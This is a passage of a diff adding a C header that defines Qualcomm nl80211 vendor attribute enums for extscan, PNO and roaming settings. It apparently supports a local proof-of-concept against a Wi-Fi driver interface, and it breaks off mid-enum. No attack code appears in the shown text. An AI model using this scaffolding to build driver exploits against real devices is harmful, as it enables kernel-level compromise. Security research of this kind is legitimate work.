+#include <sys/socket.h>
+#include <sys/types.h>
+#include "local_poc.h"
+
+typedef signed char s8;
+typedef unsigned char u8;
+
+typedef signed short s16;
+typedef unsigned short u16;
+
+typedef signed int s32;
+typedef unsigned int u32;
+
+typedef signed long long s64;
+typedef unsigned long long u64;
+
+typedef s8 __s8;
+typedef u8 __u8;
+typedef s16 __s16;
+typedef u16 __u16;
+typedef s32 __s32;
+typedef u32 __u32;
+typedef s64 __s64;
+typedef u64 __u64;
+
+#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
+#define PARAM_REQUEST_ID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
+#define PARAMS_LOST_SSID_SAMPLE_SIZE \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE
+#define PARAMS_NUM_SSID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
+#define THRESHOLD_PARAM QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM
+#define PARAM_SSID QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID
+#define PARAM_BAND QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND
+#define PARAM_RSSI_LOW \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW
+#define PARAM_RSSI_HIGH \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH
+
+enum qca_wlan_vendor_attr_extscan_results {
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_INVALID = 0,
+
+ /* Unsigned 32-bit value; must match the request Id supplied by Wi-Fi HAL
+ * in the corresponding subcmd NL msg
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID,
+
+ /* Unsigned 32-bit value; used to indicate the status response from
+ * firmware/driver for the vendor sub-command.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS,
+
+ /* EXTSCAN Valid Channels attributes */
+ /* Unsigned 32bit value; followed by a nested array of CHANNELS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_CHANNELS,
+ /* An array of NUM_CHANNELS x Unsigned 32bit value integers representing
+ * channel numbers
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CHANNELS,
+
+ /* EXTSCAN Capabilities attributes */
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_CACHE_SIZE,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_BUCKETS,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_AP_CACHE_PER_SCAN,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_RSSI_SAMPLE_SIZE,
+ /* Signed 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_REPORTING_THRESHOLD,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_BSSIDS,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SIGNIFICANT_WIFI_CHANGE_APS,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_BSSID_HISTORY_ENTRIES,
+
+ /* EXTSCAN Attributes used with
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE sub-command.
+ */
+
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE,
+
+ /* EXTSCAN attributes used with
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT sub-command.
+ */
+
+ /* An array of NUM_RESULTS_AVAILABLE x
+ * QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_*
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST,
+
+ /* Unsigned 64-bit value; age of sample at the time of retrieval */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_TIME_STAMP,
+ /* 33 x unsigned 8-bit value; NULL terminated SSID */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_SSID,
+ /* An array of 6 x Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BSSID,
+ /* Unsigned 32-bit value; channel frequency in MHz */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CHANNEL,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RSSI,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT_SD,
+ /* Unsigned 16-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BEACON_PERIOD,
+ /* Unsigned 16-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CAPABILITY,
+ /* Unsigned 32-bit value; size of the IE DATA blob */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_LENGTH,
+ /* An array of IE_LENGTH x Unsigned 8-bit value; blob of all the
+ * information elements found in the beacon; this data should be a
+ * packed list of wifi_information_element objects, one after the other.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_DATA,
+ /* Unsigned 8-bit value; set by driver to indicate more scan results are
+ * available.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_MORE_DATA,
+
+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
+ * to indicate number of wifi scan results/bssids retrieved by the scan.
+ * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the list
+ * of wifi scan results returned for each cached result block.
+ */
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT sub-command.
+ */
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_EVENT_TYPE,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_EVENT_STATUS,
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND sub-command.
+ */
+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
+ * to indicate number of results.
+ */
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE sub-command.
+ */
+ /* An array of 6 x Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_BSSID,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_CHANNEL,
+ /* Unsigned 32-bit value.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_NUM_RSSI,
+ /* A nested array of signed 32-bit RSSI values. Size of the array is
+ * determined by (NUM_RSSI of SIGNIFICANT_CHANGE_RESULT_NUM_RSSI.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_RSSI_LIST,
+
+ /* EXTSCAN attributes used with
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS sub-command.
+ */
+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE
+ * to indicate number of gscan cached results returned.
+ * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_LIST to indicate
+ * the list of gscan cached results.
+ */
+
+ /* An array of NUM_RESULTS_AVAILABLE x
+ * QCA_NL80211_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_*
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_LIST,
+ /* Unsigned 32-bit value; a unique identifier for the scan unit. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_SCAN_ID,
+ /* Unsigned 32-bit value; a bitmask w/additional information about scan. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CACHED_RESULTS_FLAGS,
+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE
+ * to indicate number of wifi scan results/bssids retrieved by the scan.
+ * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the list
+ * of wifi scan results returned for each cached result block.
+ */
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_NETWORK_FOUND sub-command.
+ */
+ /* Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE for number
+ * of results.
+ * Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the nested
+ * list of wifi scan results returned for each wifi_passpoint_match_result
+ * block. Array size:
+ * QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_RESULTS_AVAILABLE.
+ */
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_PASSPOINT_NETWORK_FOUND sub-command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_NETWORK_FOUND_NUM_MATCHES,
+ /* A nested array of
+ * QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_*
+ * attributes. Array size =
+ * *_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_NETWORK_FOUND_NUM_MATCHES.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_RESULT_LIST,
+
+ /* Unsigned 32-bit value; network block id for the matched network */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ID,
+ /* Use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the nested
+ * list of wifi scan results returned for each wifi_passpoint_match_result
+ * block.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ANQP_LEN,
+ /* An array size of PASSPOINT_MATCH_ANQP_LEN of unsigned 8-bit values;
+ * ANQP data in the information_element format.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_PNO_RESULTS_PASSPOINT_MATCH_ANQP,
+
+ /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_SSIDS,
+ /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_EPNO_NETS,
+ /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_EPNO_NETS_BY_SSID,
+ /* Unsigned 32bit value; a EXTSCAN Capabilities attribute. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_NUM_WHITELISTED_SSID,
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_FOUND sub-command &
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_SSID_LOST sub-command
+ */
+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
+ * to indicate number of results.
+ */
+ /* Unsigned 32bit value, Bit mask of all buckets scanned in the
+ * current EXTSCAN CYCLE. For e.g. If fw scan is going to scan
+ * following buckets 0, 1, 2 in current cycle then it will be
+ * (0x111).
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_BUCKETS_SCANNED,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_MAX =
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_AFTER_LAST - 1,
+};
+
+enum qca_wlan_vendor_attr_pno_config_params {
+ QCA_WLAN_VENDOR_ATTR_PNO_INVALID = 0,
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_PASSPOINT_LIST sub command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM = 1,
+ /* Array of nested QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_*
+ * attributes. Array size =
+ * QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY = 2,
+
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID = 3,
+ /* An array of 256 x Unsigned 8-bit value; NULL terminated UTF8 encoded
+ * realm, 0 if unspecified.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM = 4,
+ /* An array of 16 x Unsigned 32-bit value; roaming consortium ids
+ * to match, 0 if unspecified.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID = 5,
+ /* An array of 6 x Unsigned 8-bit value; mcc/mnc combination, 0s if
+ * unspecified.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN = 6,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_LIST sub command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS = 7,
+ /* Array of nested
+ * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_*
+ * attributes. Array size =
+ * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST = 8,
+ /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID = 9,
+ /* Signed 8-bit value; threshold for considering this SSID as found,
+ * required granularity for this threshold is 4dBm to 8dBm
+ * This attribute is obsolete.
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_RSSI_THRESHOLD = 10,
+ /* Unsigned 8-bit value; WIFI_PNO_FLAG_XXX */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS = 11,
+ /* Unsigned 8-bit value; auth bit field for matching WPA IE */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT = 12,
+
+ /* Unsigned 8-bit to indicate ePNO type;
+ * It takes values from qca_wlan_epno_type
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_TYPE = 13,
+
+ /* Nested attribute to send the channel list */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_CHANNEL_LIST = 14,
+
+ /* Unsigned 32-bit value; indicates the Interval between PNO scan
+ * cycles in msec
+ */
+ QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_SCAN_INTERVAL = 15,
+ /* Signed 32-bit value; minimum 5GHz RSSI for a BSSID to be
+ * considered
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI = 16,
+ /* Signed 32-bit value; minimum 2.4GHz RSSI for a BSSID to
+ * be considered
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI = 17,
+ /* Signed 32-bit value; the maximum score that a network
+ * can have before bonuses
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX = 18,
+ /* Signed 32-bit value; only report when there is a network's
+ * score this much higher han the current connection
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS = 19,
+ /* Signed 32-bit value; score bonus for all networks with
+ * the same network flag
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS = 20,
+ /* Signed 32-bit value; score bonus for networks that are
+ * not open
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS = 21,
+ /* Signed 32-bit value; 5GHz RSSI score bonus
+ * applied to all 5GHz networks
+ */
+ QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS = 22,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_PNO_MAX = QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST - 1,
+};
+
+enum qca_wlan_vendor_attr_roaming_config_params {
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_INVALID = 0,
+
+ QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD = 1,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID = 2,
+
+ /* Attributes for wifi_set_ssid_white_list */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID_NUM_NETWORKS = 3,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID_LIST = 4,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_WHITE_LIST_SSID = 5,
+
+ /* Attributes for set_roam_params */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_BOOST_THRESHOLD = 6,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_PENALTY_THRESHOLD = 7,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_BOOST_FACTOR = 8,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_PENALTY_FACTOR = 9,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_A_BAND_MAX_BOOST = 10,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_LAZY_ROAM_HISTERESYS = 11,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_ALERT_ROAM_RSSI_TRIGGER = 12,
+
+ /* Attribute for set_lazy_roam */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_ENABLE = 13,
+
+ /* Attribute for set_lazy_roam with preferences */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS = 14,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID = 15,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID = 16,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER = 17,
+
+ /* Attribute for set_ blacklist bssid params */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS = 18,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID = 19,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID = 20,
+
+ /* keep last */
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_AFTER_LAST,
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_MAX =
+ QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_AFTER_LAST - 1,
+};
+
+enum qca_wlan_vendor_attr_extscan_config_params {
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_INVALID = 0,
+
+ /* Unsigned 32-bit value; Middleware provides it to the driver. Middle ware
+ * either gets it from caller, e.g., framework, or generates one if
+ * framework doesn't provide it.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS sub command.
+ */
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS,
+
+ /* NL attributes for input params used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START sub command.
+ */
+
+ /* Unsigned 32-bit value; channel frequency */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL,
+ /* Unsigned 32-bit value; dwell time in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME,
+ /* Unsigned 8-bit value; 0: active; 1: passive; N/A for DFS */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE,
+ /* Unsigned 8-bit value; channel class */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CLASS,
+
+ /* Unsigned 8-bit value; bucket index, 0 based */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX,
+ /* Unsigned 8-bit value; band. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND,
+ /* Unsigned 32-bit value; desired period, in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD,
+ /* Unsigned 8-bit value; report events semantics. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS,
+ /* Unsigned 32-bit value.
+ * Followed by a nested array of EXTSCAN_CHANNEL_SPEC_* attributes.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC,
+
+ /* Unsigned 32-bit value; base timer period in ms. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD,
+ /* Unsigned 32-bit value; number of APs to store in each scan in the
+ * BSSID/RSSI history buffer (keep the highest RSSI APs).
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN,
+ /* Unsigned 8-bit value; in %, when scan buffer is this much full, wake up
+ * APPS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT,
+ /* Unsigned 8-bit value; number of scan bucket specs; followed by a nested
+ * array of_EXTSCAN_BUCKET_SPEC_* attributes and values. The size of the
+ * array is determined by NUM_BUCKETS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC,
+
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_FLUSH,
+ /* Unsigned 32-bit value; maximum number of results to be returned. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_MAX,
+
+ /* An array of 6 x Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL,
+
+ /* Number of hotlist APs as unsigned 32-bit value, followed by a nested
+ * array of AP_THRESHOLD_PARAM attributes and values. The size of the
+ * array is determined by NUM_AP.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP,
+
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_* attributes.
+ * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM,
+
+ /* Unsigned 32bit value; number of samples for averaging RSSI. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
+ /* Unsigned 32bit value; number of samples to confirm AP loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
+ /* Unsigned 32bit value; number of APs breaching threshold. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
+ /* Unsigned 32bit value; number of APs. Followed by an array of
+ * AP_THRESHOLD_PARAM attributes. Size of the array is NUM_AP.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
+ /* Unsigned 32bit value; number of samples to confirm AP loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE,
+
+ /* Unsigned 32-bit value. If max_period is non zero or different than
+ * period, then this bucket is an exponential backoff bucket.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD,
+ /* Unsigned 32-bit value. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BASE,
+ /* Unsigned 32-bit value. For exponential back off bucket, number of scans
+ * to performed for a given period.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT,
+ /* Unsigned 8-bit value; in number of scans, wake up AP after these
+ * many scans.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS,
+
+ /* NL attributes for data used by
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST sub command.
+ */
+ /* Unsigned 32bit value; number of samples to confirm SSID loss. */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE,
+ /* Number of hotlist SSIDs as unsigned 32-bit value, followed by a nested
+ * array of SSID_THRESHOLD_PARAM_* attributes and values. The size of the
+ * array is determined by NUM_SSID.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID,
+ /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_* attributes.
